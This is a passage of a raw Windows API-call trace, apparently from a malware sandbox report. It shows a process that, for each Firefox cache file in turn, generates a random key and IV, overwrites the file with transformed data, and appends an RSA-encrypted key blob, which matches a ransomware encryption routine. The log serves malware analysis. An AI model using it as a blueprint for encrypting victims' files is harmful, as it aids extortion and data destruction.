pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.548] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2940*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2940*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.548] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2940*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2940*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.549] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.549] CloseHandle (hObject=0x1b80) returned 1 [0187.550] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1ef0 | out: pbBuffer=0x30e1ef0) returned 1 [0187.551] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0187.551] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6BFE0EB337F328928E30DD51C1084B7FD4937D99", dwFileAttributes=0x80) returned 1 [0187.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1bd8 [0187.551] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.551] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe14, lpOverlapped=0x0) returned 1 [0187.552] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.553] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f46a8*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f46a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe14, lpOverlapped=0x0) returned 1 [0187.553] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe14 [0187.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.553] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.553] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1ef0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.554] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.554] CloseHandle (hObject=0x1b80) returned 1 [0187.557] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1ef0 | out: pbBuffer=0x30e1ef0) returned 1 [0187.557] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0187.557] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6B59D88F10856ABB980993D7332F49AB71BD33B8", dwFileAttributes=0x80) returned 1 [0187.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2e68 [0187.557] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.558] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x155c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x155c, lpOverlapped=0x0) returned 1 [0187.571] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-5468, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.571] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4df0*, nNumberOfBytesToWrite=0x155c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4df0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x155c, lpOverlapped=0x0) returned 1 [0187.571] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x155c [0187.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.572] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.585] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1ef0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.585] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.586] CloseHandle (hObject=0x1b80) returned 1 [0187.587] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e17b8 | out: pbBuffer=0x30e17b8) returned 1 [0187.587] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0187.587] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\698AC159A6BCBA0D13FE6F10F1A38E498F826F33", dwFileAttributes=0x80) returned 1 [0187.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e2940 [0187.587] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.588] ReadFile (in: hFile=0x1b80, lpBuffer=0x2eeb018, nNumberOfBytesToRead=0xd2f5, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesRead=0x2e1f9bc*=0xd2f5, lpOverlapped=0x0) returned 1 [0187.599] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-54005, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.599] WriteFile (in: hFile=0x1b80, lpBuffer=0x2ef8318*, nNumberOfBytesToWrite=0xd2f5, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef8318*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd2f5, lpOverlapped=0x0) returned 1 [0187.599] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd2f5 [0187.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.600] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e17b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e17b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.600] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e17b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e17b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.600] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.600] CloseHandle (hObject=0x1b80) returned 1 [0187.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1bd8 | out: pbBuffer=0x30e1bd8) returned 1 [0187.602] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.602] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6730E7D38947125CF79CAEB391A7C2548F883DD9", dwFileAttributes=0x80) returned 1 [0187.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e17b8 [0187.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.603] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xe01, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xe01, lpOverlapped=0x0) returned 1 [0187.611] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-3585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.611] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4698*, nNumberOfBytesToWrite=0xe01, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4698*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe01, lpOverlapped=0x0) returned 1 [0187.611] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe01 [0187.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.611] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1bd8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1bd8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.612] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1bd8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1bd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.612] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.612] CloseHandle (hObject=0x1b80) returned 1 [0187.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2d60 | out: pbBuffer=0x30e2d60) returned 1 [0187.614] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\644E400521E4BFD78E4063E539A97F0C19A5EF01", dwFileAttributes=0x80) returned 1 [0187.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e17b8 [0187.614] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.614] ReadFile (in: hFile=0x1b80, lpBuffer=0x619c48, nNumberOfBytesToRead=0x4d2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619c48*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0187.628] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1234, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.628] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f3888*, nNumberOfBytesToWrite=0x4d2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d2, lpOverlapped=0x0) returned 1 [0187.629] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d2 [0187.629] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.629] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2d60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2d60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.629] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2d60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2d60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.630] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.630] CloseHandle (hObject=0x1b80) returned 1 [0187.632] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2d60 | out: pbBuffer=0x30e2d60) returned 1 [0187.632] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0187.632] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63F48F4F7F1BC3195F5AB831F9794F3DBA2D30E1", dwFileAttributes=0x80) returned 1 [0187.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1ad0 [0187.632] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.633] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x107e, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x107e, lpOverlapped=0x0) returned 1 [0187.634] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-4222, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.634] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f4910*, nNumberOfBytesToWrite=0x107e, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f4910*, lpNumberOfBytesWritten=0x2e1f9bc*=0x107e, lpOverlapped=0x0) returned 1 [0187.635] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x107e [0187.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.635] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2d60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2d60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.635] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2d60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2d60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.635] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.636] CloseHandle (hObject=0x1b80) returned 1 [0187.637] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1ef0 | out: pbBuffer=0x30e1ef0) returned 1 [0187.638] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0187.638] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\63ACFE8698FC61908B016C5D661F8E6F430E32B6", dwFileAttributes=0x80) returned 1 [0187.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e18c0 [0187.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.638] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0xa54, lpOverlapped=0x0) returned 1 [0187.643] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-2644, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.643] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f42e8*, nNumberOfBytesToWrite=0xa54, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f42e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa54, lpOverlapped=0x0) returned 1 [0187.646] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa54 [0187.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.646] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e1ef0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.647] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e1ef0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1ef0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.647] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.647] CloseHandle (hObject=0x1b80) returned 1 [0187.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e14a0 | out: pbBuffer=0x30e14a0) returned 1 [0187.650] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.650] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\635EAE5D2B518F168607E2A8D67845079C2A7DF0", dwFileAttributes=0x80) returned 1 [0187.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e1290 [0187.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.651] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x1abb, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x1abb, lpOverlapped=0x0) returned 1 [0187.655] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-6843, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.655] WriteFile (in: hFile=0x1b80, lpBuffer=0x30f5350*, nNumberOfBytesToWrite=0x1abb, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f5350*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1abb, lpOverlapped=0x0) returned 1 [0187.656] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1abb [0187.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.656] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e14a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e14a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.656] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e14a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e14a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.656] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.656] CloseHandle (hObject=0x1b80) returned 1 [0187.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e2d60 | out: pbBuffer=0x30e2d60) returned 1 [0187.658] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.658] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\62326019F9C99B9A93D51B48A1F63BC2D075A6B9", dwFileAttributes=0x80) returned 1 [0187.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e14a0 [0187.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.659] ReadFile (in: hFile=0x1b80, lpBuffer=0x30f3888, nNumberOfBytesToRead=0x2eab, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3888*, lpNumberOfBytesRead=0x2e1f9bc*=0x2eab, lpOverlapped=0x0) returned 1 [0187.660] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-11947, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0187.660] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e3060*, nNumberOfBytesToWrite=0x2eab, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2eab, lpOverlapped=0x0) returned 1 [0187.660] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2eab [0187.660] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0187.660] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e2d60*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e2d60*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0187.661] WriteFile (in: hFile=0x1b80, lpBuffer=0x30e2d60*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e2d60*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0187.661] WriteFile (in: hFile=0x1b80, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0187.661] CloseHandle (hObject=0x1b80) returned 1 [0187.662] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e1bd8 | out: pbBuffer=0x30e1bd8) returned 1 [0187.662] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0187.663] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\616AB700BF5ED4A444798148DA26984F3B31D83A", dwFileAttributes=0x80) returned 1 [0187.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x30e18c0 [0187.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0187.668] ReadFile (in: hFile=0x1b80, lpBuffer=0x3d27020, nNumberOfBytesToRead=0x114f4d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d27020*, lpNumberOfBytesRead=0x2e1f9bc*=0x114f4d, lpOverlapped=0x0) returned 1 [0187.768] SetFilePointer (in: hFile=0x1b80, lDistanceToMove=-1134413, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 